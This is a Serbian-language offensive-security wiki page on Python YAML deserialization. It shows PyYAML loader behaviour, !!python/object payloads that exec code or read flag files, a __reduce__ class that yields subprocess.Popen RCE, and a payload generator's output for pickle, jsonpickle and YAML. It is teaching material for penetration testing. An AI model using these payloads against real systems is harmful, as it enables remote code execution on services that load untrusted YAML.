# Python Yaml Deserialization

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## Yaml **Deserialization**

**Yaml** python biblioteke su takođe sposobne da **serijalizuju python objekte** i ne samo sirove podatke:
```
print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Proverite kako **tuple** nije sirov tip podataka i stoga je **serializovan**. Ista stvar se desila i sa **range** (uzet iz builtins).

![](<../../images/image (1040).png>)

**safe_load()** ili **safe_load_all()** koristi SafeLoader i **ne podržava deserializaciju objekata klasa**. Primer deserializacije objekta klase:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Prethodni kod je koristio **unsafe_load** za učitavanje serijalizovane python klase. To je zato što u **verziji >= 5.1**, ne dozvoljava **deserijalizaciju bilo koje serijalizovane python klase ili atributa klase**, bez specificiranog Loader-a u load() ili Loader=SafeLoader.

### Osnovni Eksploit

Primer kako da **izvršite sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### Ranjiva .load("\<content>") bez Loader-a

**Stare verzije** pyyaml-a su bile ranjive na napade deserializacije ako **niste naveli Loader** prilikom učitavanja nečega: `yaml.load(data)`

Možete pronaći [**opis ranjivosti ovde**](https://hackmd.io/@defund/HJZajCVlP)**.** Predloženi **eksploit** na toj stranici je:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Ili možete koristiti ovu **jednu liniju koju je pružio @ishaack**:
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}
```
Napomena da u **novijim verzijama** više ne možete **pozvati `.load()`** **bez `Loader`-a** i da **`FullLoader`** više nije **ranjiv** na ovaj napad.

## RCE

Prilagođeni payloadi se mogu kreirati koristeći Python YAML module kao što su **PyYAML** ili **ruamel.yaml**. Ovi payloadi mogu iskoristiti ranjivosti u sistemima koji deserializuju nepouzdane ulaze bez pravilne sanitizacije.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Alat za kreiranje Payload-a

Alat [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) može se koristiti za generisanje python deserialization payload-a za zloupotrebu **Pickle, PyYAML, jsonpickle i ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Reference

- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

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